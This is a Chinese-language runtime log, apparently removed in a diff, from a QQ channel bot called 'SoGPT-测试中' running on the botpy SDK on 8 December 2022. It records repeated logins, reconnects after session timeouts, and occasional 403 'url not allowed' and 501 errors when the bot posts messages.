-2022-12-08 16:47:16,567	[INFO]	(client.py:159)_bot_login	[botpy] 登录机器人账号中...
-2022-12-08 16:47:17,008	[INFO]	(client.py:178)_bot_init	[botpy] 程序启动...
-2022-12-08 16:47:17,009	[INFO]	(connection.py:59)multi_run	[botpy] 最大并发连接数: 1, 启动会话数: 1
-2022-12-08 16:47:17,009	[INFO]	(client.py:236)bot_connect	[botpy] 会话启动中...
-2022-12-08 16:47:17,010	[INFO]	(gateway.py:110)ws_connect	[botpy] 启动中...
-2022-12-08 16:47:17,187	[INFO]	(gateway.py:136)ws_identify	[botpy] 鉴权中...
-2022-12-08 16:47:17,284	[INFO]	(gateway.py:80)on_message	[botpy] 机器人「SoGPT-测试中」启动成功！
-2022-12-08 16:47:17,285	[INFO]	(gateway.py:217)_send_heart	[botpy] 心跳维持启动...
-2022-12-08 16:48:39,358	[INFO]	(client.py:159)_bot_login	[botpy] 登录机器人账号中...
-2022-12-08 16:48:45,366	[WARNING]	(http.py:188)request	请求超时，请求连接: https://api.sgroup.qq.com/gateway/bot
-2022-12-08 16:48:53,301	[INFO]	(client.py:159)_bot_login	[botpy] 登录机器人账号中...
-2022-12-08 16:48:53,789	[INFO]	(client.py:178)_bot_init	[botpy] 程序启动...
-2022-12-08 16:48:53,790	[INFO]	(connection.py:59)multi_run	[botpy] 最大并发连接数: 1, 启动会话数: 1
-2022-12-08 16:48:53,791	[INFO]	(client.py:236)bot_connect	[botpy] 会话启动中...
-2022-12-08 16:48:53,791	[INFO]	(gateway.py:110)ws_connect	[botpy] 启动中...
-2022-12-08 16:48:53,969	[INFO]	(gateway.py:136)ws_identify	[botpy] 鉴权中...
-2022-12-08 16:48:54,062	[INFO]	(gateway.py:80)on_message	[botpy] 机器人「SoGPT-测试中」启动成功！
-2022-12-08 16:48:54,063	[INFO]	(gateway.py:217)_send_heart	[botpy] 心跳维持启动...
-2022-12-08 16:49:26,466	[ERROR]	(http.py:73)_handle_response	[botpy] 接口请求异常，请求连接: https://api.sgroup.qq.com/channels/7150805/messages, 错误代码: 403, 返回内容: {'code': 304003, 'message': 'url not allowed'}, trace_id:b201dd7b37649dcf47b82d54c58bc5dd
-2022-12-08 16:51:59,155	[INFO]	(client.py:159)_bot_login	[botpy] 登录机器人账号中...
-2022-12-08 16:51:59,728	[INFO]	(client.py:178)_bot_init	[botpy] 程序启动...
-2022-12-08 16:51:59,729	[INFO]	(connection.py:59)multi_run	[botpy] 最大并发连接数: 1, 启动会话数: 1
-2022-12-08 16:51:59,730	[INFO]	(client.py:236)bot_connect	[botpy] 会话启动中...
-2022-12-08 16:51:59,730	[INFO]	(gateway.py:110)ws_connect	[botpy] 启动中...
-2022-12-08 16:51:59,887	[INFO]	(gateway.py:136)ws_identify	[botpy] 鉴权中...
-2022-12-08 16:52:00,022	[INFO]	(gateway.py:80)on_message	[botpy] 机器人「SoGPT-测试中」启动成功！
-2022-12-08 16:52:00,023	[INFO]	(gateway.py:217)_send_heart	[botpy] 心跳维持启动...
-2022-12-08 16:52:28,760	[ERROR]	(http.py:73)_handle_response	[botpy] 接口请求异常，请求连接: https://api.sgroup.qq.com/channels/7150805/messages, 错误代码: 403, 返回内容: {'code': 304003, 'message': 'url not allowed'}, trace_id:e62b072c9f0184f6bf7dd03a00fc0ef3
-2022-12-08 16:53:53,370	[INFO]	(client.py:159)_bot_login	[botpy] 登录机器人账号中...
-2022-12-08 16:53:53,890	[INFO]	(client.py:178)_bot_init	[botpy] 程序启动...
-2022-12-08 16:53:53,891	[INFO]	(connection.py:59)multi_run	[botpy] 最大并发连接数: 1, 启动会话数: 1
-2022-12-08 16:53:53,892	[INFO]	(client.py:236)bot_connect	[botpy] 会话启动中...
-2022-12-08 16:53:53,892	[INFO]	(gateway.py:110)ws_connect	[botpy] 启动中...
-2022-12-08 16:53:54,101	[INFO]	(gateway.py:136)ws_identify	[botpy] 鉴权中...
-2022-12-08 16:53:54,194	[INFO]	(gateway.py:80)on_message	[botpy] 机器人「SoGPT-测试中」启动成功！
-2022-12-08 16:53:54,195	[INFO]	(gateway.py:217)_send_heart	[botpy] 心跳维持启动...
-2022-12-08 16:54:26,287	[ERROR]	(http.py:73)_handle_response	[botpy] 接口请求异常，请求连接: https://api.sgroup.qq.com/channels/7150805/messages, 错误代码: 501, 返回内容: None, trace_id:None
-2022-12-08 16:55:01,062	[INFO]	(client.py:159)_bot_login	[botpy] 登录机器人账号中...
-2022-12-08 16:55:01,601	[INFO]	(client.py:178)_bot_init	[botpy] 程序启动...
-2022-12-08 16:55:01,601	[INFO]	(connection.py:59)multi_run	[botpy] 最大并发连接数: 1, 启动会话数: 1
-2022-12-08 16:55:01,602	[INFO]	(client.py:236)bot_connect	[botpy] 会话启动中...
-2022-12-08 16:55:01,603	[INFO]	(gateway.py:110)ws_connect	[botpy] 启动中...
-2022-12-08 16:55:01,742	[INFO]	(gateway.py:136)ws_identify	[botpy] 鉴权中...
-2022-12-08 16:55:01,816	[INFO]	(gateway.py:80)on_message	[botpy] 机器人「SoGPT-测试中」启动成功！
-2022-12-08 16:55:01,817	[INFO]	(gateway.py:217)_send_heart	[botpy] 心跳维持启动...
-2022-12-08 17:00:29,939	[INFO]	(client.py:159)_bot_login	[botpy] 登录机器人账号中...
-2022-12-08 17:00:30,583	[INFO]	(client.py:178)_bot_init	[botpy] 程序启动...
-2022-12-08 17:00:30,584	[INFO]	(connection.py:59)multi_run	[botpy] 最大并发连接数: 1, 启动会话数: 1
-2022-12-08 17:00:30,585	[INFO]	(client.py:236)bot_connect	[botpy] 会话启动中...
-2022-12-08 17:00:30,585	[INFO]	(gateway.py:110)ws_connect	[botpy] 启动中...
-2022-12-08 17:00:30,839	[INFO]	(gateway.py:136)ws_identify	[botpy] 鉴权中...
-2022-12-08 17:00:30,943	[INFO]	(gateway.py:80)on_message	[botpy] 机器人「SoGPT-测试中」启动成功！
-2022-12-08 17:00:30,944	[INFO]	(gateway.py:217)_send_heart	[botpy] 心跳维持启动...
-2022-12-08 17:00:53,548	[ERROR]	(http.py:73)_handle_response	[botpy] 接口请求异常，请求连接: https://api.sgroup.qq.com/channels/7150658/messages, 错误代码: 403, 返回内容: {'code': 304003, 'message': 'url not allowed'}, trace_id:2ea547d78364cea60583ed450e589a17
-2022-12-08 17:10:31,405	[INFO]	(client.py:159)_bot_login	[botpy] 登录机器人账号中...
-2022-12-08 17:10:32,081	[INFO]	(client.py:178)_bot_init	[botpy] 程序启动...
-2022-12-08 17:10:32,082	[INFO]	(connection.py:59)multi_run	[botpy] 最大并发连接数: 1, 启动会话数: 1
-2022-12-08 17:10:32,083	[INFO]	(client.py:236)bot_connect	[botpy] 会话启动中...
-2022-12-08 17:10:32,083	[INFO]	(gateway.py:110)ws_connect	[botpy] 启动中...
-2022-12-08 17:10:32,342	[INFO]	(gateway.py:136)ws_identify	[botpy] 鉴权中...
-2022-12-08 17:10:32,449	[INFO]	(gateway.py:80)on_message	[botpy] 机器人「SoGPT-测试中」启动成功！
-2022-12-08 17:10:32,450	[INFO]	(gateway.py:217)_send_heart	[botpy] 心跳维持启动...
-2022-12-08 17:13:47,495	[INFO]	(client.py:159)_bot_login	[botpy] 登录机器人账号中...
-2022-12-08 17:13:47,993	[INFO]	(client.py:178)_bot_init	[botpy] 程序启动...
-2022-12-08 17:13:47,994	[INFO]	(connection.py:59)multi_run	[botpy] 最大并发连接数: 1, 启动会话数: 1
-2022-12-08 17:13:47,995	[INFO]	(client.py:236)bot_connect	[botpy] 会话启动中...
-2022-12-08 17:13:47,995	[INFO]	(gateway.py:110)ws_connect	[botpy] 启动中...
-2022-12-08 17:13:48,198	[INFO]	(gateway.py:136)ws_identify	[botpy] 鉴权中...
-2022-12-08 17:13:48,300	[INFO]	(gateway.py:80)on_message	[botpy] 机器人「SoGPT-测试中」启动成功！
-2022-12-08 17:13:48,302	[INFO]	(gateway.py:217)_send_heart	[botpy] 心跳维持启动...
-2022-12-08 17:16:31,326	[ERROR]	(http.py:73)_handle_response	[botpy] 接口请求异常，请求连接: https://api.sgroup.qq.com/channels/7150658/messages, 错误代码: 501, 返回内容: None, trace_id:None
-2022-12-08 17:22:03,924	[INFO]	(client.py:159)_bot_login	[botpy] 登录机器人账号中...
-2022-12-08 17:22:04,671	[INFO]	(client.py:178)_bot_init	[botpy] 程序启动...
-2022-12-08 17:22:04,672	[INFO]	(connection.py:59)multi_run	[botpy] 最大并发连接数: 1, 启动会话数: 1
-2022-12-08 17:22:04,673	[INFO]	(client.py:236)bot_connect	[botpy] 会话启动中...
-2022-12-08 17:22:04,673	[INFO]	(gateway.py:110)ws_connect	[botpy] 启动中...
-2022-12-08 17:22:04,856	[INFO]	(gateway.py:136)ws_identify	[botpy] 鉴权中...
-2022-12-08 17:22:04,958	[INFO]	(gateway.py:80)on_message	[botpy] 机器人「SoGPT-测试中」启动成功！
-2022-12-08 17:22:04,959	[INFO]	(gateway.py:217)_send_heart	[botpy] 心跳维持启动...
-2022-12-08 17:52:04,868	[INFO]	(gateway.py:54)on_closed	[botpy] 关闭, 返回码: 4009, 返回信息: Session timed out
-2022-12-08 17:52:09,874	[INFO]	(connection.py:59)multi_run	[botpy] 最大并发连接数: 1, 启动会话数: 1
-2022-12-08 17:52:09,876	[INFO]	(client.py:236)bot_connect	[botpy] 会话启动中...
-2022-12-08 17:52:09,877	[INFO]	(gateway.py:110)ws_connect	[botpy] 启动中...
-2022-12-08 17:52:10,104	[INFO]	(gateway.py:169)ws_resume	[botpy] 重连启动...
-2022-12-08 17:52:10,170	[INFO]	(gateway.py:85)on_message	[botpy] 机器人重连成功! 
-2022-12-08 17:52:10,171	[INFO]	(gateway.py:217)_send_heart	[botpy] 心跳维持启动...
-2022-12-08 18:00:00,757	[INFO]	(client.py:159)_bot_login	[botpy] 登录机器人账号中...
-2022-12-08 18:00:01,443	[INFO]	(client.py:178)_bot_init	[botpy] 程序启动...
-2022-12-08 18:00:01,443	[INFO]	(connection.py:59)multi_run	[botpy] 最大并发连接数: 1, 启动会话数: 1
-2022-12-08 18:00:01,444	[INFO]	(client.py:236)bot_connect	[botpy] 会话启动中...
-2022-12-08 18:00:01,445	[INFO]	(gateway.py:110)ws_connect	[botpy] 启动中...
-2022-12-08 18:00:01,602	[INFO]	(gateway.py:136)ws_identify	[botpy] 鉴权中...
-2022-12-08 18:00:01,823	[INFO]	(gateway.py:80)on_message	[botpy] 机器人「SoGPT-测试中」启动成功！
-2022-12-08 18:00:01,824	[INFO]	(gateway.py:217)_send_heart	[botpy] 心跳维持启动...
-2022-12-08 18:03:13,211	[INFO]	(client.py:159)_bot_login	[botpy] 登录机器人账号中...
-2022-12-08 18:03:14,082	[INFO]	(client.py:178)_bot_init	[botpy] 程序启动...
-2022-12-08 18:03:14,084	[INFO]	(connection.py:59)multi_run	[botpy] 最大并发连接数: 1, 启动会话数: 1
-2022-12-08 18:03:14,084	[INFO]	(client.py:236)bot_connect	[botpy] 会话启动中...
-2022-12-08 18:03:14,085	[INFO]	(gateway.py:110)ws_connect	[botpy] 启动中...
-2022-12-08 18:03:14,289	[INFO]	(gateway.py:136)ws_identify	[botpy] 鉴权中...
-2022-12-08 18:03:14,498	[INFO]	(gateway.py:80)on_message	[botpy] 机器人「SoGPT-测试中」启动成功！
-2022-12-08 18:03:14,499	[INFO]	(gateway.py:217)_send_heart	[botpy] 心跳维持启动...
-2022-12-08 18:16:29,246	[INFO]	(client.py:159)_bot_login	[botpy] 登录机器人账号中...
-2022-12-08 18:16:30,054	[INFO]	(client.py:178)_bot_init	[botpy] 程序启动...
-2022-12-08 18:16:30,055	[INFO]	(connection.py:59)multi_run	[botpy] 最大并发连接数: 1, 启动会话数: 1
-2022-12-08 18:16:30,056	[INFO]	(client.py:236)bot_connect	[botpy] 会话启动中...
-2022-12-08 18:16:30,056	[INFO]	(gateway.py:110)ws_connect	[botpy] 启动中...
-2022-12-08 18:16:30,293	[INFO]	(gateway.py:136)ws_identify	[botpy] 鉴权中...
-2022-12-08 18:16:30,424	[INFO]	(gateway.py:80)on_message	[botpy] 机器人「SoGPT-测试中」启动成功！
-2022-12-08 18:16:30,424	[INFO]	(gateway.py:217)_send_heart	[botpy] 心跳维持启动...
-2022-12-08 18:16:41,898	[ERROR]	(http.py:73)_handle_response	[botpy] 接口请求异常，请求连接: https://api.sgroup.qq.com/channels/7150658/messages, 错误代码: 403, 返回内容: {'code': 304003, 'message': 'url not allowed'}, trace_id:3cc9fc95ac27cbbc1f1667f1aa11bf8d
-2022-12-08 18:18:16,615	[INFO]	(client.py:159)_bot_login	[botpy] 登录机器人账号中...
-2022-12-08 18:18:17,399	[INFO]	(client.py:178)_bot_init	[botpy] 程序启动...
-2022-12-08 18:18:17,400	[INFO]	(connection.py:59)multi_run	[botpy] 最大并发连接数: 1, 启动会话数: 1
-2022-12-08 18:18:17,400	[INFO]	(client.py:236)bot_connect	[botpy] 会话启动中...
-2022-12-08 18:18:17,401	[INFO]	(gateway.py:110)ws_connect	[botpy] 启动中...
-2022-12-08 18:18:17,606	[INFO]	(gateway.py:136)ws_identify	[botpy] 鉴权中...
-2022-12-08 18:18:17,731	[INFO]	(gateway.py:80)on_message	[botpy] 机器人「SoGPT-测试中」启动成功！
-2022-12-08 18:18:17,732	[INFO]	(gateway.py:217)_send_heart	[botpy] 心跳维持启动...
-2022-12-08 18:19:07,357	[INFO]	(client.py:159)_bot_login	[botpy] 登录机器人账号中...
-2022-12-08 18:19:07,941	[INFO]	(client.py:178)_bot_init	[botpy] 程序启动...
-2022-12-08 18:19:07,942	[INFO]	(connection.py:59)multi_run	[botpy] 最大并发连接数: 1, 启动会话数: 1
-2022-12-08 18:19:07,942	[INFO]	(client.py:236)bot_connect	[botpy] 会话启动中...
-2022-12-08 18:19:07,943	[INFO]	(gateway.py:110)ws_connect	[botpy] 启动中...
-2022-12-08 18:19:08,247	[INFO]	(gateway.py:136)ws_identify	[botpy] 鉴权中...
-2022-12-08 18:19:08,335	[INFO]	(gateway.py:80)on_message	[botpy] 机器人「SoGPT-测试中」启动成功！
-2022-12-08 18:19:08,336	[INFO]	(gateway.py:217)_send_heart	[botpy] 心跳维持启动...
-2022-12-08 18:20:46,416	[INFO]	(client.py:159)_bot_login	[botpy] 登录机器人账号中...
-2022-12-08 18:20:47,023	[INFO]	(client.py:178)_bot_init	[botpy] 程序启动...
-2022-12-08 18:20:47,023	[INFO]	(connection.py:59)multi_run	[botpy] 最大并发连接数: 1, 启动会话数: 1
-2022-12-08 18:20:47,024	[INFO]	(client.py:236)bot_connect	[botpy] 会话启动中...
-2022-12-08 18:20:47,025	[INFO]	(gateway.py:110)ws_connect	[botpy] 启动中...
-2022-12-08 18:20:47,475	[INFO]	(gateway.py:136)ws_identify	[botpy] 鉴权中...
-2022-12-08 18:20:47,640	[INFO]	(gateway.py:80)on_message	[botpy] 机器人「SoGPT-测试中」启动成功！
-2022-12-08 18:20:47,641	[INFO]	(gateway.py:217)_send_heart	[botpy] 心跳维持启动...
-2022-12-08 18:21:24,437	[INFO]	(client.py:159)_bot_login	[botpy] 登录机器人账号中...
-2022-12-08 18:21:24,991	[INFO]	(client.py:178)_bot_init	[botpy] 程序启动...
-2022-12-08 18:21:24,992	[INFO]	(connection.py:59)multi_run	[botpy] 最大并发连接数: 1, 启动会话数: 1
-2022-12-08 18:21:24,993	[INFO]	(client.py:236)bot_connect	[botpy] 会话启动中...
-2022-12-08 18:21:24,993	[INFO]	(gateway.py:110)ws_connect	[botpy] 启动中...
-2022-12-08 18:21:25,165	[INFO]	(gateway.py:136)ws_identify	[botpy] 鉴权中...
-2022-12-08 18:21:25,265	[INFO]	(gateway.py:80)on_message	[botpy] 机器人「SoGPT-测试中」启动成功！
-2022-12-08 18:21:25,266	[INFO]	(gateway.py:217)_send_heart	[botpy] 心跳维持启动...
-2022-12-08 18:24:18,469	[INFO]	(client.py:159)_bot_login	[botpy] 登录机器人账号中...
-2022-12-08 18:24:19,076	[INFO]	(client.py:178)_bot_init	[botpy] 程序启动...
-2022-12-08 18:24:19,077	[INFO]	(connection.py:59)multi_run	[botpy] 最大并发连接数: 1, 启动会话数: 1
-2022-12-08 18:24:19,077	[INFO]	(client.py:236)bot_connect	[botpy] 会话启动中...
-2022-12-08 18:24:19,078	[INFO]	(gateway.py:110)ws_connect	[botpy] 启动中...
-2022-12-08 18:24:19,252	[INFO]	(gateway.py:136)ws_identify	[botpy] 鉴权中...
-2022-12-08 18:24:19,339	[INFO]	(gateway.py:80)on_message	[botpy] 机器人「SoGPT-测试中」启动成功！
-2022-12-08 18:24:19,341	[INFO]	(gateway.py:217)_send_heart	[botpy] 心跳维持启动...
-2022-12-08 18:27:13,898	[INFO]	(client.py:159)_bot_login	[botpy] 登录机器人账号中...
-2022-12-08 18:27:14,553	[INFO]	(client.py:178)_bot_init	[botpy] 程序启动...
-2022-12-08 18:27:14,554	[INFO]	(connection.py:59)multi_run	[botpy] 最大并发连接数: 1, 启动会话数: 1
-2022-12-08 18:27:14,554	[INFO]	(client.py:236)bot_connect	[botpy] 会话启动中...
-2022-12-08 18:27:14,555	[INFO]	(gateway.py:110)ws_connect	[botpy] 启动中...
-2022-12-08 18:27:14,747	[INFO]	(gateway.py:136)ws_identify	[botpy] 鉴权中...
-2022-12-08 18:27:14,850	[INFO]	(gateway.py:80)on_message	[botpy] 机器人「SoGPT-测试中」启动成功！
-2022-12-08 18:27:14,851	[INFO]	(gateway.py:217)_send_heart	[botpy] 心跳维持启动...
-2022-12-08 18:30:47,647	[INFO]	(client.py:159)_bot_login	[botpy] 登录机器人账号中...
-2022-12-08 18:30:48,327	[INFO]	(client.py:178)_bot_init	[botpy] 程序启动...
-2022-12-08 18:30:48,328	[INFO]	(connection.py:59)multi_run	[botpy] 最大并发连接数: 1, 启动会话数: 1
-2022-12-08 18:30:48,329	[INFO]	(client.py:236)bot_connect	[botpy] 会话启动中...
-2022-12-08 18:30:48,330	[INFO]	(gateway.py:110)ws_connect	[botpy] 启动中...
-2022-12-08 18:30:48,736	[INFO]	(gateway.py:136)ws_identify	[botpy] 鉴权中...
-2022-12-08 18:30:48,873	[INFO]	(gateway.py:80)on_message	[botpy] 机器人「SoGPT-测试中」启动成功！
-2022-12-08 18:30:48,874	[INFO]	(gateway.py:217)_send_heart	[botpy] 心跳维持启动...
-2022-12-08 18:31:57,250	[INFO]	(client.py:159)_bot_login	[botpy] 登录机器人账号中...
-2022-12-08 18:31:57,955	[INFO]	(client.py:178)_bot_init	[botpy] 程序启动...
-2022-12-08 18:31:57,956	[INFO]	(connection.py:59)multi_run	[botpy] 最大并发连接数: 1, 启动会话数: 1
-2022-12-08 18:31:57,957	[INFO]	(client.py:236)bot_connect	[botpy] 会话启动中...
-2022-12-08 18:31:57,957	[INFO]	(gateway.py:110)ws_connect	[botpy] 启动中...
-2022-12-08 18:31:58,165	[INFO]	(gateway.py:136)ws_identify	[botpy] 鉴权中...
-2022-12-08 18:31:58,269	[INFO]	(gateway.py:80)on_message	[botpy] 机器人「SoGPT-测试中」启动成功！
-2022-12-08 18:31:58,270	[INFO]	(gateway.py:217)_send_heart	[botpy] 心跳维持启动...
-2022-12-08 19:01:58,099	[INFO]	(gateway.py:54)on_closed	[botpy] 关闭, 返回码: 4009, 返回信息: Session timed out
-2022-12-08 19:02:03,110	[INFO]	(connection.py:59)multi_run	[botpy] 最大并发连接数: 1, 启动会话数: 1
-2022-12-08 19:02:03,111	[INFO]	(client.py:236)bot_connect	[botpy] 会话启动中...
-2022-12-08 19:02:03,111	[INFO]	(gateway.py:110)ws_connect	[botpy] 启动中...
-2022-12-08 19:02:03,314	[INFO]	(gateway.py:169)ws_resume	[botpy] 重连启动...
-2022-12-08 19:02:03,381	[INFO]	(gateway.py:85)on_message	[botpy] 机器人重连成功! 
-2022-12-08 19:02:03,382	[INFO]	(gateway.py:217)_send_heart	[botpy] 心跳维持启动...
-2022-12-08 19:32:03,274	[INFO]	(gateway.py:54)on_closed	[botpy] 关闭, 返回码: 4009, 返回信息: Session timed out
-2022-12-08 19:32:08,271	[INFO]	(connection.py:59)multi_run	[botpy] 最大并发连接数: 1, 启动会话数: 1
-2022-12-08 19:32:08,272	[INFO]	(client.py:236)bot_connect	[botpy] 会话启动中...
-2022-12-08 19:32:08,272	[INFO]	(gateway.py:110)ws_connect	[botpy] 启动中...
-2022-12-08 19:32:08,534	[INFO]	(gateway.py:169)ws_resume	[botpy] 重连启动...
-2022-12-08 19:32:08,604	[INFO]	(gateway.py:85)on_message	[botpy] 机器人重连成功! 
-2022-12-08 19:32:08,605	[INFO]	(gateway.py:217)_send_heart	[botpy] 心跳维持启动...
-2022-12-08 20:02:08,495	[INFO]	(gateway.py:54)on_closed	[botpy] 关闭, 返回码: 4009, 返回信息: Session timed out
-2022-12-08 20:02:13,497	[INFO]	(connection.py:59)multi_run	[botpy] 最大并发连接数: 1, 启动会话数: 1
-2022-12-08 20:02:13,497	[INFO]	(client.py:236)bot_connect	[botpy] 会话启动中...
-2022-12-08 20:02:13,498	[INFO]	(gateway.py:110)ws_connect	[botpy] 启动中...
-2022-12-08 20:02:13,797	[INFO]	(gateway.py:169)ws_resume	[botpy] 重连启动...
-2022-12-08 20:02:13,914	[INFO]	(gateway.py:85)on_message	[botpy] 机器人重连成功! 
-2022-12-08 20:02:13,915	[INFO]	(gateway.py:217)_send_heart	[botpy] 心跳维持启动...
-2022-12-08 20:31:53,159	[INFO]	(client.py:159)_bot_login	[botpy] 登录机器人账号中...
-2022-12-08 20:31:58,306	[INFO]	(client.py:178)_bot_init	[botpy] 程序启动...
-2022-12-08 20:31:58,307	[INFO]	(connection.py:59)multi_run	[botpy] 最大并发连接数: 1, 启动会话数: 1
-2022-12-08 20:31:58,308	[INFO]	(client.py:236)bot_connect	[botpy] 会话启动中...
-2022-12-08 20:31:58,308	[INFO]	(gateway.py:110)ws_connect	[botpy] 启动中...
-2022-12-08 20:31:58,748	[INFO]	(gateway.py:136)ws_identify	[botpy] 鉴权中...
-2022-12-08 20:31:58,924	[INFO]	(gateway.py:80)on_message	[botpy] 机器人「SoGPT-测试中」启动成功！
-2022-12-08 20:31:58,925	[INFO]	(gateway.py:217)_send_heart	[botpy] 心跳维持启动...
-2022-12-08 20:34:26,596	[INFO]	(client.py:159)_bot_login	[botpy] 登录机器人账号中...
-2022-12-08 20:34:27,610	[INFO]	(client.py:178)_bot_init	[botpy] 程序启动...
-2022-12-08 20:34:27,611	[INFO]	(connection.py:59)multi_run	[botpy] 最大并发连接数: 1, 启动会话数: 1
-2022-12-08 20:34:27,613	[INFO]	(client.py:236)bot_connect	[botpy] 会话启动中...
-2022-12-08 20:34:27,613	[INFO]	(gateway.py:110)ws_connect	[botpy] 启动中...
-2022-12-08 20:34:27,919	[INFO]	(gateway.py:136)ws_identify	[botpy] 鉴权中...
-2022-12-08 20:34:28,022	[INFO]	(gateway.py:80)on_message	[botpy] 机器人「SoGPT-测试中」启动成功！
-2022-12-08 20:34:28,023	[INFO]	(gateway.py:217)_send_heart	[botpy] 心跳维持启动...
-2022-12-08 20:35:47,952	[INFO]	(client.py:159)_bot_login	[botpy] 登录机器人账号中...
-2022-12-08 20:35:48,499	[INFO]	(client.py:178)_bot_init	[botpy] 程序启动...
-2022-12-08 20:35:48,500	[INFO]	(connection.py:59)multi_run	[botpy] 最大并发连接数: 1, 启动会话数: 1
-2022-12-08 20:35:48,500	[INFO]	(client.py:236)bot_connect	[botpy] 会话启动中...
-2022-12-08 20:35:48,501	[INFO]	(gateway.py:110)ws_connect	[botpy] 启动中...
-2022-12-08 20:35:48,723	[INFO]	(gateway.py:136)ws_identify	[botpy] 鉴权中...
-2022-12-08 20:35:48,793	[INFO]	(gateway.py:80)on_message	[botpy] 机器人「SoGPT-测试中」启动成功！
-2022-12-08 20:35:48,794	[INFO]	(gateway.py:217)_send_heart	[botpy] 心跳维持启动...
-2022-12-08 20:55:03,450	[ERROR]	(http.py:73)_handle_response	[botpy] 接口请求异常，请求连接: https://api.sgroup.qq.com/channels/7150658/messages, 错误代码: 403, 返回内容: {'code': 304003, 'message': 'url not allowed'}, trace_id:c4c4d23f9b2829d03ae9a7dca0184fe9
-2022-12-08 21:05:48,678	[INFO]	(gateway.py:54)on_closed	[botpy] 关闭, 返回码: 4009, 返回信息: Session timed out
-2022-12-08 21:05:53,700	[INFO]	(connection.py:59)multi_run	[botpy] 最大并发连接数: 1, 启动会话数: 1
-2022-12-08 21:05:53,701	[INFO]	(client.py:236)bot_connect	[botpy] 会话启动中...
-2022-12-08 21:05:53,702	[INFO]	(gateway.py:110)ws_connect	[botpy] 启动中...
-2022-12-08 21:05:54,145	[INFO]	(gateway.py:169)ws_resume	[botpy] 重连启动...
-2022-12-08 21:05:54,232	[INFO]	(gateway.py:85)on_message	[botpy] 机器人重连成功! 
-2022-12-08 21:05:54,233	[INFO]	(gateway.py:217)_send_heart	[botpy] 心跳维持启动...
-2022-12-08 21:07:39,468	[INFO]	(client.py:159)_bot_login	[botpy] 登录机器人账号中...
-2022-12-08 21:07:40,244	[INFO]	(client.py:178)_bot_init	[botpy] 程序启动...
-2022-12-08 21:07:40,245	[INFO]	(connection.py:59)multi_run	[botpy] 最大并发连接数: 1, 启动会话数: 1
-2022-12-08 21:07:40,246	[INFO]	(client.py:236)bot_connect	[botpy] 会话启动中...
-2022-12-08 21:07:40,247	[INFO]	(gateway.py:110)ws_connect	[botpy] 启动中...
-2022-12-08 21:07:40,553	[INFO]	(gateway.py:136)ws_identify	[botpy] 鉴权中...
-2022-12-08 21:07:40,659	[INFO]	(gateway.py:80)on_message	[botpy] 机器人「SoGPT-测试中」启动成功！
-2022-12-08 21:07:40,660	[INFO]	(gateway.py:217)_send_heart	[botpy] 心跳维持启动...
-2022-12-08 21:30:11,249	[INFO]	(client.py:159)_bot_login	[botpy] 登录机器人账号中...
-2022-12-08 21:30:12,217	[INFO]	(client.py:178)_bot_init	[botpy] 程序启动...
-2022-12-08 21:30:12,218	[INFO]	(connection.py:59)multi_run	[botpy] 最大并发连接数: 1, 启动会话数: 1
-2022-12-08 21:30:12,219	[INFO]	(client.py:236)bot_connect	[botpy] 会话启动中...
-2022-12-08 21:30:12,219	[INFO]	(gateway.py:110)ws_connect	[botpy] 启动中...
-2022-12-08 21:30:12,627	[INFO]	(gateway.py:136)ws_identify	[botpy] 鉴权中...
-2022-12-08 21:30:12,730	[INFO]	(gateway.py:80)on_message	[botpy] 机器人「SoGPT-测试中」启动成功！
-2022-12-08 21:30:12,731	[INFO]	(gateway.py:217)_send_heart	[botpy] 心跳维持启动...
-2022-12-08 21:36:34,660	[ERROR]	(http.py:73)_handle_response	[botpy] 接口请求异常，请求连接: https://api.sgroup.qq.com/channels/7150658/messages, 错误代码: 501, 返回内容: None, trace_id:None
-2022-12-08 21:38:39,294	[ERROR]	(http.py:73)_handle_response	[botpy] 接口请求异常，请求连接: https://api.sgroup.qq.com/channels/7150658/messages, 错误代码: 501, 返回内容: None, trace_id:None
-2022-12-08 21:39:43,233	[INFO]	(client.py:159)_bot_login	[botpy] 登录机器人账号中...
-2022-12-08 21:39:43,878	[INFO]	(client.py:178)_bot_init	[botpy] 程序启动...
-2022-12-08 21:39:43,879	[INFO]	(connection.py:59)multi_run	[botpy] 最大并发连接数: 1, 启动会话数: 1
-2022-12-08 21:39:43,880	[INFO]	(client.py:236)bot_connect	[botpy] 会话启动中...
-2022-12-08 21:39:43,880	[INFO]	(gateway.py:110)ws_connect	[botpy] 启动中...
-2022-12-08 21:39:44,099	[INFO]	(gateway.py:136)ws_identify	[botpy] 鉴权中...
-2022-12-08 21:39:44,279	[INFO]	(gateway.py:80)on_message	[botpy] 机器人「SoGPT-测试中」启动成功！
-2022-12-08 21:39:44,281	[INFO]	(gateway.py:217)_send_heart	[botpy] 心跳维持启动...
-2022-12-08 21:40:38,103	[INFO]	(client.py:159)_bot_login	[botpy] 登录机器人账号中...
-2022-12-08 21:40:39,100	[INFO]	(client.py:178)_bot_init	[botpy] 程序启动...
-2022-12-08 21:40:39,101	[INFO]	(connection.py:59)multi_run	[botpy] 最大并发连接数: 1, 启动会话数: 1
-2022-12-08 21:40:39,102	[INFO]	(client.py:236)bot_connect	[botpy] 会话启动中...
-2022-12-08 21:40:39,102	[INFO]	(gateway.py:110)ws_connect	[botpy] 启动中...
-2022-12-08 21:40:39,402	[INFO]	(gateway.py:136)ws_identify	[botpy] 鉴权中...
-2022-12-08 21:40:39,502	[INFO]	(gateway.py:80)on_message	[botpy] 机器人「SoGPT-测试中」启动成功！
-2022-12-08 21:40:39,503	[INFO]	(gateway.py:217)_send_heart	[botpy] 心跳维持启动...
-2022-12-08 21:40:52,805	[ERROR]	(http.py:73)_handle_response	[botpy] 接口请求异常，请求连接: https://api.sgroup.qq.com/channels/7150658/messages, 错误代码: 501, 返回内容: None, trace_id:None
-2022-12-08 21:41:39,703	[INFO]	(client.py:159)_bot_login	[botpy] 登录机器人账号中...
-2022-12-08 21:41:40,399	[INFO]	(client.py:178)_bot_init	[botpy] 程序启动...
-2022-12-08 21:41:40,400	[INFO]	(connection.py:59)multi_run	[botpy] 最大并发连接数: 1, 启动会话数: 1
-2022-12-08 21:41:40,401	[INFO]	(client.py:236)bot_connect	[botpy] 会话启动中...
-2022-12-08 21:41:40,401	[INFO]	(gateway.py:110)ws_connect	[botpy] 启动中...
-2022-12-08 21:41:40,644	[INFO]	(gateway.py:136)ws_identify	[botpy] 鉴权中...
-2022-12-08 21:41:40,740	[INFO]	(gateway.py:80)on_message	[botpy] 机器人「SoGPT-测试中」启动成功！
-2022-12-08 21:41:40,741	[INFO]	(gateway.py:217)_send_heart	[botpy] 心跳维持启动...
